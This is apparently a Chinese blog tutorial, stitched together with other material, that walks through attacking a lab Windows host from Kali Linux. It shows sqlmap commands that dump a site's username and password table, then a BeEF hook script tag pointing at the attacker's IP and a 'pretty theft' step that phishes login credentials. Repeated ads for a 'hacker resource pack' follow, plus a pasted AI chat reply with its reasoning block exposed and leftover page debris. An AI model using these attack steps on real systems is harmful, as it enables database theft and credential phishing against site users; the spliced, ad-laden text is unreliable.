网络安全零基础入门必看:Kali Linux进行SQL注入与XSS漏洞利用教程(非常详细)

一、实验

1.环境

(1)主机

表1 主机

系统版本IP备注
Kali Linux2022.4

192.168.204.154(动态)

Windows10192.168.204.10Kali(2022.4)的目标主机

(2)查看Kali Linux (2022.4)系统版本

cat /etc/os-release

(3) 查看Kali Linux (2022.4)系统IP地址

ip addr | grep 154

(4)Windows 查看IP地址

ipconfig

(5)Kali主机 ping Windows主机

ping  192.168.204.10

我给大家准备了一份全套的《网络安全入门+进阶学习资源包》包含各种常用工具和黑客技术电子书以及视频教程,需要的小伙伴可以扫描下方二维码或链接免费领取~

2.Kali Linux 进行SQL注入

(1) LAMP(LNMP)平台

选择Windows版本

https://www.xp.cn/download.html

(2)sqlmap查阅

https://github.com/sqlmapproject/sqlmap

(3)获取服务器信息

包括操作系统、数据库、 web 容器、后端语⾔

sqlmap -u http://192.168.204.10/news/list.php?id=46

(4)获取数据名称列表

–thread 10 线程数设置为10

sqlmap -u http://192.168.204.10/news/show.php?id=46 --thread 10 -dbs

(5)获取当前数据库名称

sqlmap -u http://192.168.204.10/news/show.php?id=46 --current-db

(6)获取当前数据库中所有表的名称

sqlmap -u http://192.168.204.10/news/show.php?id=46 -D news --tables

(7)获取当前数据库指定的表的字段名

sqlmap -u http://192.168.204.10/news/show.php?id=46 -D news -T news_users --columns

(8)获取指定库指定表指定字段的值

sqlmap -u http://192.168.204.10/news/show.php?id=46 -D news -T news_users -C username,password --dump

3.Kali Linux 进行XSS漏洞利用

(1)漏洞测试平台

选择Windows版本

https://github.com/zhuifengshaonianhanlu/pikachu

(2)kali 系统更新

sudo apt-get update

(3)安装ruby

apt-get install ruby

(4)安装beef

apt-get install beef-xss 

(5)启动beef-xss

┌──(root㉿kali)-[~]
└─# beef-xss
[-] You are using the Default credentials
[-] (Password must be different from "beef")
[-] Please type a new password for the beef user:

┌──(root㉿kali)-[~]
└─# beef-xss
[-] You are using the Default credentials
[-] (Password must be different from "beef")
[-] Please type a new password for the beef user:
[i] GeoIP database is missing
[i] Run geoipupdate to download / update Maxmind GeoIP database
[*] Please wait for the BeEF service to start.
[*]
[*] You might need to refresh your browser once it opens.
[*]
[*]  Web UI: http://127.0.0.1:3000/ui/panel
[*]    Hook: <script src="http://<IP>:3000/hook.js"></script>
[*] Example: <script src="http://127.0.0.1:3000/hook.js"></script>

● beef-xss.service - beef-xss
     Loaded: loaded (/lib/systemd/system/beef-xss.service; disabled; preset: disabled)
     Active: active (running) since Wed 2024-03-27 10:57:29 CST; 5s ago
   Main PID: 26104 (ruby)
      Tasks: 4 (limit: 2248)
     Memory: 92.8M
        CPU: 3.246s
     CGroup: /system.slice/beef-xss.service
             └─26104 ruby /usr/share/beef-xss/beef

3月 27 10:57:34 kali beef[26104]: == 24 CreateAutoloader: migrated (0.0013s) ====================================
3月 27 10:57:34 kali beef[26104]: == 25 CreateXssraysScan: migrating ============================================
3月 27 10:57:34 kali beef[26104]: -- create_table(:xssraysscans)
3月 27 10:57:34 kali beef[26104]:    -> 0.0016s
3月 27 10:57:34 kali beef[26104]: == 25 CreateXssraysScan: migrated (0.0016s) ===================================
3月 27 10:57:34 kali beef[26104]: [10:57:33][*] BeEF is loading. Wait a few seconds...
3月 27 10:57:34 kali beef[26104]: [10:57:34][!] [AdminUI] Error: Could not minify 'BeEF::Extension::AdminUI::API::Handler' JavaScript file: Invalid option: harmony
3月 27 10:57:34 kali beef[26104]: [10:57:34]    |_  [AdminUI] Ensure nodejs is installed and `node' is in `$PATH` !
3月 27 10:57:34 kali beef[26104]: [10:57:34][!] [AdminUI] Error: Could not minify 'BeEF::Extension::AdminUI::API::Handler' JavaScript file: Invalid option: harmony
3月 27 10:57:34 kali beef[26104]: [10:57:34]    |_  [AdminUI] Ensure nodejs is installed and `node' is in `$PATH` !

[*] Opening Web UI (http://127.0.0.1:3000/ui/panel) in: 5... 4... 3... 2... 1...

我给大家准备了一份全套的《网络安全入门+进阶学习资源包》包含各种常用工具和黑客技术电子书以及视频教程,需要的小伙伴可以扫描下方二维码或链接免费领取~

(6)浏览器登录

http://127.0.0.1:3000/ui/authentication

(7) 输入账号密码

账号输⼊beef,密码输⼊123456

进入系统

(8) Windows 主机设置钩子

 <script src="http://192.168.204.154:3000/hook.js"></script>

(9)beef获取目标主机

(10)查看模块

(11)选择重定向

执行 (选择Execute)

(12) Windows 主机页面重定向

(13)选择pretty theft

执行 (选择Execute)

(14)Windows主机弹出登录界面

(15)beef获取账号及密码

我给大家准备了一份全套的《网络安全入门+进阶学习资源包》包含各种常用工具和黑客技术电子书以及视频教程,需要的小伙伴可以扫描下方二维码或链接免费领取~

二、问题

1.XSS分类

(1)类别

1)反射型XSS

2)持久型XSS
 
3)DOM型XSS

2.如何修改beef-xss的密码

(1)修改

vim /etc/beef-xss/config.yaml

(第7、8⾏)

3.beef-xss 服务如何管理

(1)开启服务

1)第一种方式
任意目录,直接输入命令:beef-xss 打开 ,过5秒左右,然后它自动会打开命令行和浏览器beef的登录框

2)第二种方式
进入/usr/share/beef-xss/,输入命令:./beef-xss 打开 ,然后手动打开浏览器链接

(2)服务管理

1)开启beef服务
systemctl start beef-xss.service      

2)关闭beef服务
systemctl stop beef-xss.service        

3)重启beef服务
systemctl restart beef-xss.service  

4.运行beef报错

(1)报错

(2)原因分析

需要管理员操作。

(3)解决方法

切换为管理员操作。

5.beef 命令的颜色有哪些区别

(1)区别

1)绿⾊
命令模块可以在⽬标浏览器上运⾏,且⽤户不会感到任何异常

2)灰⾊
命令模块尚未针对⽌⼀⼝此⽬标进⾏验证,不知道是否可运⾏

3)橙⾊
命令模块可以在⽬标浏览器上运⾏,但是⽤户可能会感到异常(例如弹窗、提示、跳转等)

4)红⾊
命令模块不适⽤于此⽬标

6.owasp-top-10 有哪些变化

(1)官网

http://www.owasp.org.cn/OWASP-CHINA/owasp-project/2021-owasp-top-10/

(2)变化

最近2次的变化

网络安全学习资源分享:

给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

因篇幅有限,仅展示部分资料,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,请看下方扫描即可前往获取

👉1.成长路线图&学习规划👈

要学习一门新的技术,作为新手一定要先学习成长路线图,方向不对,努力白费

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

在这里插入图片描述
在这里插入图片描述

👉2.网安入门到进阶视频教程👈

很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩。(全套教程扫描领取哈)
在这里插入图片描述
在这里插入图片描述

👉3.SRC&黑客文档👈

大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录

SRC技术文籍:
在这里插入图片描述
黑客资料由于是敏感资源,这里不能直接展示哦! (全套教程扫描领取哈)

👉4.护网行动资料👈

其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!
在这里插入图片描述

👉5.黑客必读书单👈

在这里插入图片描述

👉6.网络安全岗面试题合集👈

当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。
在这里插入图片描述

所有资料共282G,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,可以扫描下方二维码或链接免费领取~

<think>嗯,用户现在想学习网络安全基础,我应该怎么回答呢?首先,得考虑用户可能的情况。用户可能是个完全的新手,或者已经有一点计算机基础。不过问题里问的是“基础”,所以应该从零开始讲起。 先想一下网络安全的基础知识都包括哪些内容。比如网络协议、操作系统、加密解密这些。用户可能需要一个学习路径,分步骤的指导。但也不能太笼统,要具体一些,给出实际的学习资源或者方法。 然后用户可能想知道实践的重要性。网络安全不是纯理论的,需要动手操作。比如搭建实验环境,使用虚拟机、工具如VMware、VirtualBox,还有像Kali Linux这样的渗透测试系统。应该推荐一些工具和平台,比如CTF比赛、漏洞靶场(DVWA、Vulnhub)。 另外,用户可能对认证和社区资源感兴趣。比如CISP、CEH这样的认证,或者参加论坛、关注安全资讯网站。这些资源能帮助他们持续学习,跟上最新的安全动态。 还要考虑用户的学习方式,是否需要推荐书籍、在线课程或者视频教程。比如《计算机网络:自顶向下方法》、《Metasploit渗透测试指南》这样的书籍,或者极客时间、B站的免费课程。 可能用户还担心法律问题,所以需要提醒合法授权的测试,避免未经允许的渗透,强调法律意识的重要性。 最后,学习路线图可能会有帮助,分阶段引导用户从基础到实践再到深入。同时鼓励加入社区,参讨论和比赛,保持学习的热情和动力。 检查一下是否有遗漏的点,比如常见的漏洞类型,如SQL注入XSS这些,应该在基础知识里提到。还有实战经验的积累,比如通过CTF比赛或漏洞平台练习。 总结下来,结构应该是:基础知识、实践环境、常见技术、认证社区、法律意识,分步骤详细说明,给出具体资源和例子,让用户有明确的行动方向。</think>学习网络安全基础需要系统化的知识积累实践结合。以下是清晰的路径规划和关键步骤: --- ### 一、**掌握基础知识** #### 1. **计算机网络** - **学内容**: - OSI七层模型、TCP/IP协议栈(重点理解HTTP/HTTPS、DNS、ARP、ICMP等协议)。 - 网络设备原理(路由器、交换机、防火墙)。 - **推荐资源**: - 书籍:《计算机网络:自顶向下方法》 - 实验工具:Wireshark抓包分析、`ping`/`traceroute`命令实践。 #### 2. **操作系统** - **重点掌握**: - Linux基础命令(文件权限管理、日志分析 `/var/log`)。 - Windows系统安全(用户权限、注册表、组策略)。 - **推荐实践**: - 安装Kali Linux,熟悉命令行操作。 - 使用虚拟机搭建Windows/Linux双系统实验环境。 #### 3. **编程脚本** - **基础语言**: - Python(编写自动化工具、分析脚本):学习`requests`库(HTTP请求)、`socket`编程。 - Bash/PowerShell脚本(系统管理、日志处理)。 - **实战项目**: - 用Python实现端口扫描器、密码爆破检测工具。 --- ### 二、**构建网络安全核心技能** #### 1. **攻防技术入门** - **常见漏洞类型**: - OWASP Top 10漏洞(如SQL注入XSS、CSRF)。 - 漏洞复现:通过DVWA(Damn Vulnerable Web App)靶场练习。 - **渗透测试工具**: - 信息收集:Nmap(端口扫描)、Shodan(网络设备搜索)。 - 漏洞利用:Metasploit、Burp Suite(Web渗透)。 #### 2. **加密认证** - **核心概念**: - 对称加密(AES)非对称加密(RSA)。 - 数字证书、SSL/TLS握手流程。 - **实验建议**: - 使用OpenSSL生成证书,分析HTTPS抓包数据。 #### 3. **防御技术** - **基础能力**: - 防火墙配置(iptables/Windows Firewall)。 - IDS/IPS原理(Snort规则编写)。 - **安全加固**: - 操作系统安全基线(禁用高危服务、配置账户锁定策略)。 --- ### 三、**实践环境搭建** #### 1. **本地实验环境** - **工具链**: - 虚拟机:VMware Workstation/VirtualBox。 - 渗透系统:Kali Linux(预装Nmap、Metasploit等工具)。 - **靶场推荐**: - Web漏洞:DVWA、WebGoat。 - 综合靶机:Vulnhub漏洞平台。 #### 2. **实战演练** - **CTF比赛**: - 入门平台:CTFHub、Hack The Box(新手区)。 - 比赛类型:Web安全、逆向工程、密码学。 - **漏洞挖掘**: - 参众测平台(如漏洞盒子、补天),需遵守法律授权。 --- ### 四、**学习资源推荐** #### 1. **书籍课程** - 书籍: - 《Web安全攻防:渗透测试实战指南》 - 《Metasploit渗透测试指南》 - 在线课程: - 极客时间《网络安全入门课》 - B站免费教程(i春秋、渗透师老杨)。 #### 2. **社区资讯** - 论坛:FreeBuf、看雪安全论坛。 - 漏洞情报:CVE官网、CNVD国家漏洞库。 - 技术博客:Kali Linux官方文档、OWASP Wiki。 --- ### 五、**认证职业发展** #### 1. **入门认证** - CompTIA Security+:国际通用基础认证。 - 国内认证:CISP-PTE(渗透测试工程师)。 #### 2. **职业路径** - 初级岗位:安全运维、渗透测试工程师。 - 进阶方向:安全研发(工具开发)、红队/蓝队专家。 --- ### 六、**注意事项** 1. **法律红线**:所有渗透测试需获得明确授权,禁止非法入侵。 2. **持续学习**:关注CVE漏洞公告、订阅安全周报(如SecWiki)。 3. **思维培养**:建立攻击者视角(如通过ATT&CK框架分析攻击链)。 --- **学习路线图示例**: ```plaintext 1-3个月:网络/操作系统基础 → 4-6个月:漏洞原理工具 → 6-12个月:CTF实战/认证备考 ``` 通过系统性学习+高频实践,逐步构建攻防一体的技能体系。建议加入本地安全社群或线上小组,参技术讨论经验分享。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值